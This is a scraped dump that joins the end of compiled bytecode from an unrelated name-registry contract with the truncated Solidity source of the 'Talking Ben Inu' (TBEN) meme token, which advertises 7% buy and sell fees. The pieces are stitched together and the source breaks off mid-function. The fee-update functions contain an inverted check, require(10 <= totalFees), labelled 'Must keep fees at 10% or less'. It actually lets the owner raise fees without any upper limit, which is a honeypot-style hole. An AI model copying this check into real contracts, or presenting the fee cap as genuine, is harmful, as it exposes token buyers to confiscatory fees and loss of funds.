b557508460018503815181101515611a8d57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214155b1515611b31576040805160e560020a62461bcd02815260206004820152602560248201527f737472696e672063616e6e6f74207374617274206f7220656e6420776974682060448201527f7370616365000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b846000815181101515611b4057fe5b90602001015160f860020a900460f860020a02600160f860020a031916603060f860020a021415611c8357846001815181101515611b7a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916607860f860020a0214151515611bf7576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030780000000000604482015290519081900360640190fd5b846001815181101515611c0657fe5b90602001015160f860020a900460f860020a02600160f860020a031916605860f860020a0214151515611c83576040805160e560020a62461bcd02815260206004820152601b60248201527f737472696e672063616e6e6f7420737461727420776974682030580000000000604482015290519081900360640190fd5b600091505b838210156121535784517f400000000000000000000000000000000000000000000000000000000000000090869084908110611cc057fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611d34575084517f5b0000000000000000000000000000000000000000000000000000000000000090869084908110611d1557fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b15611da1578482815181101515611d4757fe5b90602001015160f860020a900460f860020a0260f860020a900460200160f860020a028583815181101515611d7857fe5b906020010190600160f860020a031916908160001a905350821515611d9c57600192505b612148565b8482815181101515611daf57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021480611e7f575084517f600000000000000000000000000000000000000000000000000000000000000090869084908110611e0b57fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611e7f575084517f7b0000000000000000000000000000000000000000000000000000000000000090869084908110611e6057fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b80611f29575084517f2f0000000000000000000000000000000000000000000000000000000000000090869084908110611eb557fe5b90602001015160f860020a900460f860020a02600160f860020a031916118015611f29575084517f3a0000000000000000000000000000000000000000000000000000000000000090869084908110611f0a57fe5b90602001015160f860020a900460f860020a02600160f860020a031916105b1515611fa5576040805160e560020a62461bcd02815260206004820152602260248201527f737472696e6720636f6e7461696e7320696e76616c696420636861726163746560448201527f7273000000000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8482815181101515611fb357fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a021415612092578482600101815181101515611fef57fe5b90602001015160f860020a900460f860020a02600160f860020a031916602060f860020a0214151515612092576040805160e560020a62461bcd02815260206004820152602860248201527f737472696e672063616e6e6f7420636f6e7461696e20636f6e7365637574697660448201527f6520737061636573000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b8215801561213e575084517f3000000000000000000000000000000000000000000000000000000000000000908690849081106120cb57fe5b90602001015160f860020a900460f860020a02600160f860020a031916108061213e575084517f39000000000000000000000000000000000000000000000000000000000000009086908490811061211f57fe5b90602001015160f860020a900460f860020a02600160f860020a031916115b1561214857600192505b600190910190611c88565b6001831515146121ad576040805160e560020a62461bcd02815260206004820152601d60248201527f737472696e672063616e6e6f74206265206f6e6c79206e756d62657273000000604482015290519081900360640190fd5b505050506020015192915050565b600160a060020a0381166000908152600760205260408120541515612235575060068054600190810191829055600160a060020a03831660008181526007602090815260408083208690559482526009905292909220805473ffffffffffffffffffffffffffffffffffffffff1916909217909155610ef8565b506000610ef8565b600083815260086020526040812054156122c7576000878152600a6020908152604080832087845290915290205460ff1615156001146122c7576040805160e560020a62461bcd02815260206004820152601e60248201527f736f7272792074686174206e616d657320616c72656164792074616b656e0000604482015290519081900360640190fd5b6000878152600960209081526040808320600101879055868352600882528083208a9055898352600a825280832087845290915290205460ff161515612357576000878152600a602090815260408083208784528252808320805460ff191660019081179091558a845260098352818420600301805490910190819055600b835281842090845290915290208490555b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015612392573d6000803e3d6000fd5b506001821515141561243b575060015b600554811161243b5760008181526002602052604080822054815160e060020a6349cc635d028152600481018b9052600160a060020a038a8116602483015260448201899052606482018a9052925192909116926349cc635d9260848084019382900301818387803b15801561241757600080fd5b505af115801561242b573d6000803e3d6000fd5b5050600190920191506123a29050565b600085815260096020908152604091829020805460019091015483518715158152928301899052600160a060020a039182168385015260608301523460808301524260a0830152915186928916918a917fdd6176433ff5026bbce96b068584b7bbe3514227e72df9c630b749ae87e644429181900360c00190a4505050505050505600756d6d2e2e2e2e2e2020796f75206861766520746f2070617920746865206e616d65206665650000000000000000000000000000000000000000000000000000736f7272792068756d616e73206f6e6c79000000000000000000000000000000a165627a7a723058204217fed25721d73cfd72d6be589e7624e7a36c4b2dbf70247d81c6ab783202bc0029
[ 1, 12 ]
0xf36f24e48f74aea65515ca5ff688ebf020b6c8f2
/* 𝙏𝙖𝙡𝙠𝙞𝙣𝙜 𝘽𝙚𝙣 𝙄𝙣𝙪 - $𝙏𝘽𝙀𝙉 Come and say hello to Ben! TG - t.me/TalkingBenInu Twitter - twitter.com/TalkingBenInu 7% Buy / 7% Sell */ // SPDX-License-Identifier: MIT pragma solidity 0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. (easter egg from the genius dev @nomessages9.) */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract TalkingBenInu is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; address public constant deadAddress = address(0xdead); bool private swapping; address public marketingWallet; address public buyBackWallet; address public devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; bool private gasLimitActive = true; uint256 private gasPriceLimit = 561 * 1 gwei; // do not allow over x gwei for launch // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyBuyBackFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellBuyBackFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForBuyBack; uint256 public tokensForDev; // airdrop limits to prevent airdrop dump to protect new investors mapping(address => uint256) public _airDropAddressNextSellDate; mapping(address => uint256) public _airDropTokensRemaining; uint256 public airDropLimitLiftDate; bool public airDropLimitInEffect; mapping (address => bool) public _isAirdoppedWallet; mapping (address => uint256) public _airDroppedTokenAmount; uint256 public airDropDailySellPerc; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event BuyBackTriggered(uint256 amount); event OwnerForcedSwapBack(uint256 timestamp); constructor() ERC20("Talking Ben Inu", "TBEN") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); airDropLimitLiftDate = block.timestamp + 10 days; airDropLimitInEffect = true; airDropDailySellPerc = 10; excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 3; uint256 _buyLiquidityFee = 0; uint256 _buyBuyBackFee = 0; uint256 _buyDevFee = 4; uint256 _sellMarketingFee = 3; uint256 _sellLiquidityFee = 0; uint256 _sellBuyBackFee = 0; uint256 _sellDevFee = 4; uint256 totalSupply = 1 * 1e9 * 1e18; maxTransactionAmount = totalSupply * 5 / 1000; // 0.5% maxTransactionAmountTxn maxWallet = totalSupply * 5 / 100; // 5% maxWallet swapTokensAtAmount = totalSupply * 5 / 10000; // 0.05% swap wallet buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyBuyBackFee = _buyBuyBackFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellBuyBackFee = _sellBuyBackFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; marketingWallet = address(owner()); // set as marketing wallet devWallet = address(owner()); // set as dev wallet // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromFees(buyBackWallet, true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(buyBackWallet, true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; gasLimitActive = false; transferDelayEnabled = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } function airdropToWallets(address[] memory airdropWallets, uint256[] memory amounts) external onlyOwner returns (bool){ require(!tradingActive, "Trading is already active, cannot airdrop after launch."); require(airdropWallets.length == amounts.length, "arrays must be the same length"); require(airdropWallets.length < 200, "Can only airdrop 200 wallets per txn due to gas limits"); // allows for airdrop + launch at the same exact time, reducing delays and reducing sniper input. for(uint256 i = 0; i < airdropWallets.length; i++){ address wallet = airdropWallets[i]; uint256 amount = amounts[i]; _isAirdoppedWallet[wallet] = true; _airDroppedTokenAmount[wallet] = amount; _airDropTokensRemaining[wallet] = amount; _airDropAddressNextSellDate[wallet] = block.timestamp.sub(1); _transfer(msg.sender, wallet, amount); } return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.5%"); maxTransactionAmount = newNum * (10**18); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { buyMarketingFee = _marketingFee; buyLiquidityFee = _liquidityFee; buyBuyBackFee = _buyBackFee; buyDevFee = _devFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyBuyBackFee + buyDevFee; require(10 <= buyTotalFees, "Must keep fees at 10% or less"); } function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _buyBackFee, uint256 _devFee) external onlyOwner { sellMarketingFee = _marketingFee; sellLiquidityFee = _liquidityFee; sellBuyBackFee = _buyBackFee; sellDevFee = _devFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellBuyBackFee + sellDevFee; require(10 <= sellTotalFees, "Must keep fees at 10% or less"); } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); 